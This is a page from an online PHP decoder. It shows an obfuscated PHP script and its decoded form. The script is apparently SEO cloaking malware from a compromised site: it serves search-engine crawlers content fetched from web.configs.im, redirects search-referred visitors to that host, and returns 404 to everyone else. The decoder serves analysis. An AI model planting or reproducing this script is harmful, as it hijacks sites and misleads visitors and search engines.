Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto rQIXj; s51S_: $iBZ2k = file_get_contents("\150\x74\x74\x70\163\x3a\57\x2f\167\..
Decoded Output download
<?php
goto rQIXj; s51S_: $iBZ2k = file_get_contents("https://web.configs.im/{$BizBX}"); goto gPzs0; uHEIL: header("Content-type: text/html; charset=utf-8"); goto s51S_; rQIXj: $BizBX = $_SERVER["QUERY_STRING"]; goto el75y; Yk3KY: BlGLY: goto uXQxo; uXQxo: if (!(stristr(@$_SERVER["HTTP_REFERER"], "baidu.com") || stristr(@$_SERVER["HTTP_REFERER"], "google.com") || stristr(@$_SERVER["HTTP_REFERER"], "google.hk") || stristr(@$_SERVER["HTTP_REFERER"], "sogou.com") || stristr(@$_SERVER["HTTP_REFERER"], "sm.cn") || stristr(@$_SERVER["HTTP_REFERER"], "toutiao.com") || stristr(@$_SERVER["HTTP_REFERER"], "so.com") || stristr(@$_SERVER["HTTP_REFERER"], "bing.com") || stristr(@$_SERVER["HTTP_REFERER"], "qq.com"))) { goto mDrQs; } goto uV2YT; DLXcv: mDrQs: goto DHDl0; nvw48: exit; goto DLXcv; DHDl0: header("HTTP/1.0 404 Not Found"); goto ElX9f; el75y: if (!(stripos($_SERVER["HTTP_USER_AGENT"], "360Spider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "Baiduspider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "baidumib") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "Sosospider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "Sogou web spider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "Sogou Orion spider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "YisouSpider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "bingbot") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "Baiduspider-render") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "Bytespider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "HaoSouSpider") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "48.0.2564.116") !== false || stripos($_SERVER["HTTP_USER_AGENT"], "sogou spider") !== false)) { goto BlGLY; } goto uHEIL; gPzs0: echo $iBZ2k; goto B1PPF; uV2YT: header("Location: https://web.configs.im"); goto nvw48; B1PPF: exit; goto Yk3KY; ElX9f: exit;
?>
Did this file decode correctly?
Original Code
<?php
goto rQIXj; s51S_: $iBZ2k = file_get_contents("\150\x74\x74\x70\163\x3a\57\x2f\167\x65\142\56\143\x6f\156\146\151\147\x73\56\151\x6d\x2f{$BizBX}"); goto gPzs0; uHEIL: header("\x43\x6f\156\x74\145\x6e\164\55\164\171\x70\145\72\x20\164\145\x78\x74\x2f\150\164\x6d\154\x3b\x20\x63\150\141\x72\x73\x65\x74\x3d\165\x74\146\55\x38"); goto s51S_; rQIXj: $BizBX = $_SERVER["\x51\x55\x45\122\131\137\x53\x54\122\x49\x4e\107"]; goto el75y; Yk3KY: BlGLY: goto uXQxo; uXQxo: if (!(stristr(@$_SERVER["\x48\124\x54\120\x5f\122\105\106\x45\x52\105\122"], "\x62\141\x69\144\165\56\143\x6f\x6d") || stristr(@$_SERVER["\110\x54\x54\x50\137\122\x45\106\105\122\x45\x52"], "\x67\157\x6f\147\154\x65\x2e\x63\157\x6d") || stristr(@$_SERVER["\110\x54\x54\120\x5f\122\x45\106\x45\x52\105\x52"], "\x67\x6f\157\x67\154\x65\56\150\153") || stristr(@$_SERVER["\110\124\x54\x50\137\x52\x45\x46\105\x52\x45\x52"], "\x73\157\147\x6f\x75\x2e\x63\157\x6d") || stristr(@$_SERVER["\x48\124\x54\x50\137\x52\x45\106\105\x52\105\x52"], "\x73\x6d\56\x63\156") || stristr(@$_SERVER["\x48\x54\124\120\x5f\122\x45\106\105\122\105\122"], "\x74\157\x75\x74\151\141\x6f\x2e\x63\157\155") || stristr(@$_SERVER["\110\124\x54\120\137\x52\105\x46\105\x52\x45\122"], "\x73\x6f\x2e\x63\x6f\x6d") || stristr(@$_SERVER["\110\124\x54\120\137\x52\105\106\105\x52\x45\x52"], "\x62\x69\156\147\x2e\x63\157\155") || stristr(@$_SERVER["\110\124\124\x50\137\x52\105\x46\105\122\x45\x52"], "\161\161\56\143\157\155"))) { goto mDrQs; } goto uV2YT; DLXcv: mDrQs: goto DHDl0; nvw48: exit; goto DLXcv; DHDl0: header("\110\x54\x54\120\57\61\56\x30\x20\64\x30\x34\x20\116\157\164\40\106\x6f\x75\156\144"); goto ElX9f; el75y: if (!(stripos($_SERVER["\110\x54\124\x50\x5f\125\x53\x45\x52\x5f\101\x47\105\116\x54"], "\x33\66\x30\x53\x70\x69\x64\x65\162") !== false || stripos($_SERVER["\x48\x54\x54\120\137\125\123\105\x52\137\101\x47\x45\x4e\x54"], "\x42\x61\151\144\x75\163\160\x69\144\x65\162") !== false || stripos($_SERVER["\x48\124\124\x50\137\125\123\105\x52\x5f\x41\107\105\x4e\x54"], "\142\141\151\x64\165\x6d\151\142") !== false || stripos($_SERVER["\x48\124\124\120\x5f\x55\123\x45\122\137\x41\x47\x45\x4e\x54"], "\123\x6f\163\x6f\163\x70\x69\144\145\162") !== false || stripos($_SERVER["\x48\124\x54\x50\137\x55\123\105\122\x5f\101\107\x45\116\124"], "\123\157\x67\157\x75\x20\167\x65\x62\x20\x73\160\151\x64\x65\x72") !== false || stripos($_SERVER["\x48\124\124\x50\137\x55\123\x45\x52\x5f\101\107\x45\116\124"], "\x53\x6f\x67\157\165\x20\117\162\x69\x6f\x6e\x20\163\160\151\x64\145\x72") !== false || stripos($_SERVER["\x48\x54\x54\120\137\125\123\105\x52\137\101\x47\x45\116\x54"], "\x59\x69\x73\157\x75\x53\x70\x69\x64\145\x72") !== false || stripos($_SERVER["\110\x54\124\x50\137\x55\x53\105\122\x5f\x41\x47\x45\x4e\x54"], "\x62\151\156\147\142\157\164") !== false || stripos($_SERVER["\110\124\124\x50\137\x55\123\x45\x52\x5f\101\x47\105\116\124"], "\102\x61\151\144\x75\x73\x70\x69\144\145\x72\55\x72\145\x6e\144\x65\162") !== false || stripos($_SERVER["\110\124\x54\x50\x5f\125\123\x45\x52\137\x41\x47\105\116\x54"], "\107\x6f\x6f\147\154\145\x62\157\164") !== false || stripos($_SERVER["\x48\x54\124\x50\x5f\x55\123\x45\x52\x5f\101\x47\x45\x4e\x54"], "\102\171\164\x65\x73\160\x69\x64\145\x72") !== false || stripos($_SERVER["\x48\x54\x54\x50\137\x55\123\x45\x52\x5f\x41\x47\105\116\124"], "\x48\141\x6f\123\157\x75\123\160\151\144\x65\162") !== false || stripos($_SERVER["\x48\x54\124\120\x5f\125\x53\x45\x52\137\x41\x47\x45\116\124"], "\x34\70\56\x30\56\x32\65\66\x34\x2e\x31\61\x36") !== false || stripos($_SERVER["\x48\124\x54\120\137\x55\x53\105\122\137\101\x47\x45\x4e\x54"], "\163\x6f\147\157\x75\x20\163\x70\x69\x64\145\x72") !== false)) { goto BlGLY; } goto uHEIL; gPzs0: echo $iBZ2k; goto B1PPF; uV2YT: header("\x4c\157\x63\x61\x74\151\157\x6e\x3a\x20\x68\164\164\x70\x73\x3a\57\57\x77\x65\x62\56\x63\157\x6e\146\x69\147\163\x2e\x69\x6d"); goto nvw48; B1PPF: exit; goto Yk3KY; ElX9f: exit;
?>
Function Calls
None |
Stats
MD5 | 8dcf5555445c1f9f4b9ee5b6ae2abab7 |
Eval Count | 0 |
Decode Time | 52 ms |